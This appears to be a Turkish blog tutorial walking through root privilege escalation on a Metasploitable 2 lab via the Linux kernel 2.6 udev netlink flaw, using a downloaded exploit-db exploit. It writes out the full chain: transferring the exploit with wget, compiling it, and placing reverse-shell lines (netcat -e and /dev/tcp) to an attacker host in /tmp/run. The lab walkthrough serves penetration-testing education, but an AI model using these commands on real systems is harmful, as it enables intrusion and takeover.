Linux Kernel 2.6 İşletim Sistemindeki Hak Yükseltme Zafiyetinin İstismar Edilerek Komut Satırının Elde Edilmesi

Sızma testleri sırasında standart haklar ile erişim sağlanabilmiş bir bilgisayarda, hak yükseltilerek yönetici hakları elde edilmeye çalışılır. Hak yükseltmek için kullanılan yöntemlerden birisi de işletim sistemindeki zafiyetlerin istismar edilmesidir. Bu yazıda, Linux Kernel 2.6 işletim sistemine sahip Metasploitable 2 üzerinde çalışan udev servisindeki bir zafiyet istismar edilerek standart kullanıcı haklarından “root” kullanıcısı hakkı ile komut satırı / kabuk elde edilecektir.

Mevcut ortamdaki saldırgana ait olan Kali bilgisayarın IP adresi 100.100.200.4; hedef olarak kullanılan Metasploitable 2 sisteminin IP adresi ise 100.100.200.7’dir.

Çekirdek sürümü 2.6.* olan Linux sunucusuna standart yetkilerle elde edilen bağlantıda standart bir kullanıcı (www-data) haklarına sahip olunduğu görülmektedir.

uname -a
id

escalating-privileges-on-linux-kernel-2.6-by-exploiting-udev-service-vulnerability-01

 

Linux Kernel 2.6’da kritik bir zafiyet bulunmaktadır. Bu zafiyeti istismar edecek kod exploit-db’den indirilerek hedef sisteme aktarılacak ve çalıştırılacaktır.

http://www.exploit-db.com/exploits/8572/

escalating-privileges-on-linux-kernel-2.6-by-exploiting-udev-service-vulnerability-02

 

İndirilen dosya (8572.c) hedef sisteme doğrudan indirilebileceği gibi Kali üzerindeki bir paylaşım veya web sunucusu üzerinden de aktarılabilir. Bu yazıda Kali’de HTTP servisi üzerinden aktarım tercih edilmiştir. Bu amaçla apache servisi başlatılır ve indirilen dosya web sayfasının kök dizinine adı “hakyukseltme.c” olacak şekilde kopyalanmıştır.

service apache2 start
service apache2 status
cp /root/Desktop/8572.c /var/www/html/hakyukseltme.c
ls -la /var/www/html/

escalating-privileges-on-linux-kernel-2.6-by-exploiting-udev-service-vulnerability-03

 

Kali üzerindeki dosya, Metasploitable’a indirilmeye başlanır. İndirilen dosyaya çalıştırılma izni de verilir.

wget http://100.100.200.4/hakyukseltme.c
ls -la hak*
chmod 744 hakyukseltme.c
ls -la hak*

escalating-privileges-on-linux-kernel-2.6-by-exploiting-udev-service-vulnerability-04

 

1.4.1 sürümünden daha önceki “udev” servisi, NETKLINK mesajlarının çekirdek mi yoksa kullanıcı uzayından mı geldiğini kontrol etmediği için standart bir kullanıcı “root” gibi komut çalıştırabilmekte idi. Bu zafiyeti istismar eden kod da Netlink soketinin proses ID’sini kullanarak root gibi işlem yapmaktadır. Netlink servisinin proses ID’si “/proc/net/netlink” nesnesi içerisinden öğrenilebilmektedir. Bu proses ID değeri (genellikle) udevd prosesinin ID değerinden bir eksiktir. Mevcut ortamda Netlink PID değeri 2768 olduğu görülmektedir. Bu proses ID, istismar edilecek kod parçası (hakyukseltme.c) delendikten sonra oluşan dosyaya parametre olarak verilecektir.

ps aux | grep udev
cat /proc/net/netlink

escalating-privileges-on-linux-kernel-2.6-by-exploiting-udev-service-vulnerability-05

 

Metasploitable üzerindeki C dosyası gcc ile derlenir.

gcc hakyukseltme.c -o hakyukseltme_derlenmis
ls -la hak*

escalating-privileges-on-linux-kernel-2.6-by-exploiting-udev-service-vulnerability-06

 

Derlenmiş dosya /tmp/run diye bir dosya aramakta ve içeriğini “root” yetkisi ile çalıştırmaktadır. /tmp/run dosyasının içeriğine çalıştırılması istenilen herhangi bir betik/komutyazılabilir. Bu yazıda, 100.100.200.7 IP adresli Metasploitable 2’den, 100.100.200.4 IP adresli Kali’ye doğru komut satırı bağlantısı elde edilmesi için Netcat aracı çalıştırılacaktır. Bu amaçla aşağıdaki komutlar /tmp/run dosyasına yazılır.

echo ‘#!/bin/bash’ > /tmp/run
echo ‘/bin/netcat -e /bin/bash 100.100.200.4 13579’ >> /tmp/run
cat /tmp/run

escalating-privileges-on-linux-kernel-2.6-by-exploiting-udev-service-vulnerability-07

 

Not: Kurban işletim sisteminde “nc” aracı bulunmuyorsa ikinci satır aşağıdaki gibi değiştirilebilir.

echo ‘/bin/bash -i >& /dev/tcp/100.100.200.4/13579 0>&1’ >> /tmp/run

 

Kali bilgisayarında da gelecek olan bağlantı telebinin yakalanması için 13579 nolu port dinlenecektir.

ifconfig eth0 | grep broadcast
nc -l -v -p 13579

escalating-privileges-on-linux-kernel-2.6-by-exploiting-udev-service-vulnerability-08

 

Böylece istismar amaçlı derlenmiş dosya çalıştırılabilir.

./hakyukseltme_derlenmis 2768

escalating-privileges-on-linux-kernel-2.6-by-exploiting-udev-service-vulnerability-09

 

Kali bilgisayara “root” yetkileri ile bağlantı kurulmuştur.

id
ifconfig
hostname

escalating-privileges-on-linux-kernel-2.6-by-exploiting-udev-service-vulnerability-10

 

 

Kaynak:

http://linux-hacking-guide.blogspot.com.tr/2015/05/metasploitable-2-privilege-escalation.html
http://securitypadawan.blogspot.com.tr/2011/10/attacking-metasploitable-part-3.html

 

 

 

Yazarın Bilgileri

Ertuğrul BAŞARANOĞLU
Ertuğrul BAŞARANOĞLU

Bir Cevap Yazın

E-posta hesabınız yayımlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir

Kullanabileceğiniz HTLM etiketleri ve özellikleri: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code class="" title="" data-url=""> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong> <pre class="" title="" data-url=""> <span class="" title="" data-url="">

Bu sayfada incelenen konulardan doğacak sorunlar kişinin kendi sorumluluğundadır.